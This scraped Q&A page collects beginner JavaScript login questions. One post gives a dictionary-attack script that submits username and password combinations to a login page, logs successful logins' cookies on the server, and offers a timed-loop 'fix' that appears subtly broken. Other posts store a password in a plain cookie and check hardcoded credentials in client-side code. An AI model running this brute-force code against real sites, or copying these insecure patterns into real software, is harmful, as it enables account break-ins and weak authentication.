Trouble programmatically logging onto a website - javascript

I have a website that I am trying to programmatically log on to, which I have managed to do with some JavaScript commands in the console on chrome
document.getElementById("username").value = "username";
document.getElementById("password").value = "password";
document.getElementById("button1").click(); //They called the sign in button 'button1'
This also works using setAttribute
I thought I would try to do the same thing in C# and wrote this little program:
WebBrowser wb = new WebBrowser();
wb.ScrollBarsEnabled = false;
wb.ScriptErrorsSuppressed = true;
wb.Navigate("url");
while (wb.ReadyState != WebBrowserReadyState.Complete)
{
Application.DoEvents();
}
string before = wb.DocumentText;
wb.Document.GetElementById("username").SetAttribute("value", "username");
wb.Document.GetElementById("password").SetAttribute("value", "password");
Thread.Sleep(1000);
wb.Document.GetElementById("button1").InvokeMember("click");
while (wb.ReadyState != WebBrowserReadyState.Complete)
{
Application.DoEvents();
}
string result = wb.DocumentText;
if (result == before)
{
//??
}
However, I cant seem to get the Html of the logged in version of the website. I thought I just needed to wait a bit, but then realized that when I opened the wb.DocumentText as a html file that it didn't even have the username box filled in?
What am I doing wrong? Should I be approaching this in a different way?

Related

PHP not accessing Javascript cookie

I am creating a small CRUD web app where I need the user to enter their password when they wish to delete an item from the database, I have an onClick() on the delete button on the HTML table which passes the ID of the product to be deleted to the js function.
When the function runs I wish to confirm that they really want to delete the product and then ask for their password and store it in a cookie. BUT IT DOES NOT SEEM TO WORK :(
I am setting a cookie using javascript like
document.cookie = 'password=${userPassword},expires=${now.toGMTString()},path=/../includes/delete-product.inc.php;
With this line of code, when I console.log(document.cookie), it shows me the cookie in the console like
password=admin,expires=Sat, 12 Dec 2020 08:40:38 GMT,path=/../includes/delete-product.inc.php; PHPSESSID=3n1l3q6ksqitdpc76hjrero9ja
when I redirect to another PHP page using window.open() I can not access this cookie.
print_r($_COOKIE); <- only shows me the PHPSESSID only.
When I explicitly try to access the cookie using the following line
$userPassword = $_COOKIE[password]; it gives me undefined index 'password'
This is my code.
myproject/admin/view-products.php (This is the page where I try to set the cookie using javascript)
function deletePrompt(id) {
const now = new Date();
const time = now.getTime();
const expiresIn = time + (50 * 1000);
now.setTime(expiresIn);
const path = `../includes/delete-product.inc.php`;
const intent = confirm("Are you sure you want to delete this products");
if (intent === true) {
const userPassword = prompt("Enter password");
document.cookie = `password=${userPassword},expires=${now.toGMTString()},path=/../includes/delete-product.inc.php`;
console.log(document.cookie);
return;
window.open(`../includes/delete-product.inc.php?id=${id}`, "_self");
}
}
myproject/includes/delete-product.inc.php (This is the PHP page where I need to access the cookie)
<?php
require_once "./database-connection.inc.php";
require_once "./functions.inc.php";
if (isset($_SESSION["adminId"])) {
$productId = $_GET["id"];
$userPassword = $_COOKIE["password"]; //<- This throws undefined index error
if (deleteProduct($connection, $productId, $userPassword)) {
header("location: ../admin/view-products.php?msg=deleted");
exit();
}
else {
header("location: ../admin/view-products.php?msg=incorrectPass");
exit();
}
}
else {
header("location: ../admin/login.php");
exit();
}
To anyone else facing this the problem, the solution is that cookies don't get sent across directories, so you need to have the recipient file in the same domain if you wish to transfer cookies across them otherwise it won't work.
eg.
Following pattern will work
youProject/someDirectory/file1
youProject/someDirectory/file2
Following will NOT WORK
youProject/someDirectory/file1
youProject/someOtherDirectory/file2

Javascript link will not work without # at the end of the url

I am creating a very simple login site for a school project, and the site is therefore the most basic you can make it.
When the window.location.assing link is activated, it will only work if the current url I am on has a # at the end. E.G. ... project/test.html#.
The rest of the script is perfectly fine. It is only the linking that does not work.
I am working in a local file so I am trying to go from
C:\Users\Tord\Documents\IT\Skryteprosjekt\test.html
to
C:\Users\Tord\Documents\IT\Skryteprosjekt\1.html
I have searched around a lot, but can not find an answer that fits my problem.
The function is being called by an onclick in a button in HTML.
function login() {
var x = document.getElementById("username").value;
if (x == "example") {
var y = document.getElementById("psw").value;
if (y == "example2") {
window.location.assign("1.html");
}
else {
alert("Incorrect username or password. Try again.");
}
}
else if (x == "") {
alert("Please write in a username and password");
}
else {
alert("Incorrect username or password. Try again");
}
}
When I activate the script with the correct username and password, the site just blinks as if it just reloads. Everything else works perfectly.

Different unique token for the different instances of same page

I have a set of devices with device Id. On right clicking each device, it will pass device Id and open same page in multiple tabs(on each right click same page in new tab) with corresponding details of clicked device.
And here I have to keep a different token(random string variable) for each tab. And also token should not be changed on page refresh.
How can I do this ? I tried something but it's not working.
Created a random string, appended device Id to it and stored in local Storage as,
var prToken = window.localStorage.getItem('token');
if(prToken){
var subString = prToken.substring(10, prToken.length);
if(subString == GlobalVar.Inventory.device.id){
console.log(window.localStorage.getItem('token')+"====token");
}else{
var rString = GlobalVar.Inventory.randomString(10, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',GlobalVar.Inventory.device.id);
window.localStorage.setItem('token', rString);
}
}else{
var rString = GlobalVar.Inventory.randomString(10, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',GlobalVar.Inventory.device.id);
window.localStorage.setItem('token', rString);
}
here I am getting different token for each tab, but the problem is that, token is changing on page refresh.
Need help.
Solved myself, and it's working fine for me.
I
replaced 'token' variable with the device Id
. Then everything worked fine.
Then the code will be,
var prToken = window.localStorage.getItem(GlobalVar.Inventory.device.id);
if(prToken){
var subString = prToken.substring(10, prToken.length);
if(subString == GlobalVar.Inventory.device.id){
console.log(window.localStorage.getItem(GlobalVar.Inventory.device.id)+"====token");
}else{
var rString = GlobalVar.Inventory.randomString(10, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',GlobalVar.Inventory.device.id);
window.localStorage.setItem(GlobalVar.Inventory.device.id, rString);
}
}else{
var rString = GlobalVar.Inventory.randomString(10, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',GlobalVar.Inventory.device.id);
window.localStorage.setItem(GlobalVar.Inventory.device.id, rString);
}

Checking if the attempt was successful during a Dictionary Attack

I am doing a project where in I have to carry out a Dictionary Attack. I am running a script that posts to the page that the login page would post to(say members.php). Only thing that happens in the server side after a correct username and passwords is entered is that a cookies are set. The Cookies have the values of username and password's sha value. (Yes, I have the access to the source code).
I have hard coded a script in members.php such that would retrieve the value of cookies every time some one logs in and stores it in a text file in my server. Hence I would be able to keep track of who ever has successfully logged in .
I am trying the following script to post to members.php to try and see if the logic works:
function dictionary_run(username,password) {
var theForm, newInput7, newInput8, newInput9;
var i=0,j=0;
var bla3 = "Login";
theForm = document.createElement("form");
theForm.action = "URL/members.php";
theForm.method = "post";
newInput9 = document.createElement("input");
newInput9.type = "text";
newInput9.name = "username";
newInput9.value = username;
newInput8 = document.createElement("input");
newInput8.type = "password";
newInput8.name = "password";
newInput8.value = password;
newInput7 = document.createElement("input");
newInput7.type = "submit";
newInput7.name = "submit";
newInput7.value = bla3;
theForm.appendChild(newInput9);
theForm.appendChild(newInput8);
theForm.appendChild(newInput7);
newInput7.click();
}
function main() {
var user_name = ["jasmine", "fd", "jasmhghine","dfdf"];
var pass_word = ["jasmine", "jasminhge", "dffd","dfdfdf"];
var i,j;
for(i=0; i<4 ;i++) {
for(j=0; j<4;j++) {
dictionary_run(user_name[i],pass_word[j]);
}
}
}
main();
Apparently it doesn't work. I know that jasmine as password and username is correct(user_name[0] and pass_word[0] here). Even then,my script hard coded in members.php doesn't capture the successful login attempt.
I have also tried to break it with
if(document.cookie) break;
after each submission. This also doesn't work. I can not think of another way to check if the login attempt was successful or not.
Any help would be greatly appreciated.
Thanks!
Alright, I found the problem, just because I was posting in very quick successions, only the last input was being checked. So I just used a delay of a few seconds and it worked.
for(i=0; i<4;i++) {
for(j=0; j<4;j++) {
var delay=5000;//1 seconds
setTimeout(function(){
dictionary_run(user_name[i],pass_word[j]);
},delay);
}
}
Thanks !

Javascript not redirecting

I have searched extensively for the javascript code to redirect to a different page on the same site and in the same folder and I have tried numerous things. I'm unable to get it to work in localhost or on the web-server. This is what I've tried:
<script type="text/javascript">
function confirm_submit()
{
var con = confirm("Submit form and print invoice?");
var url = 'dashboard.php?del=no';
if (con == true) {
document.location.href = url;
/*I have also tried:
window.location = 'dashboard.php?del=no';
window.location.replace("dashboard.php?del=no");
window.location.href = "dashboard.php?del=no";
*/
}
else {
return false;
}
}
</script>
This is the code on the button :
onclick="return(confirm_submit())"
From everything I've read this should work but it is not working. Can someone please tell me why it is not working and what I need to do to make it work? Thank you in advance.
EDIT: I have answered the question below. It's a workaround, but it is doing the job.
this will work without submitting your form
var url = window.location.href;
splitUrl = url.split("/");
splitUrl[splitUrl.length-1]="your page";
url = splitUrl.join("/");
window.location.href = url;
I have spent too much time on this issue so I have decided to go a different route. I'm using javascript to change the value of a hidden field and then using PHP to redirect to the other page as a result of the posted value of the hidden field. Thanks to all who have given their time to this matter on my behalf. Cheers
<script type="text/javascript">
function confirm_submit()
{
var con = confirm("Submit form and print invoice?");
if (con == true) {
document.getElementById('bool').value = true;
$("#edit_workorder").submit();
}
else {
return false;
}
}
</script>
And the PHP is:
if($bool == true) {
header("Location:dashboard.php?del=no");
exit;
}
It's doesn't really answer the question, but it works and that is more important to me right now.

Categories

Resources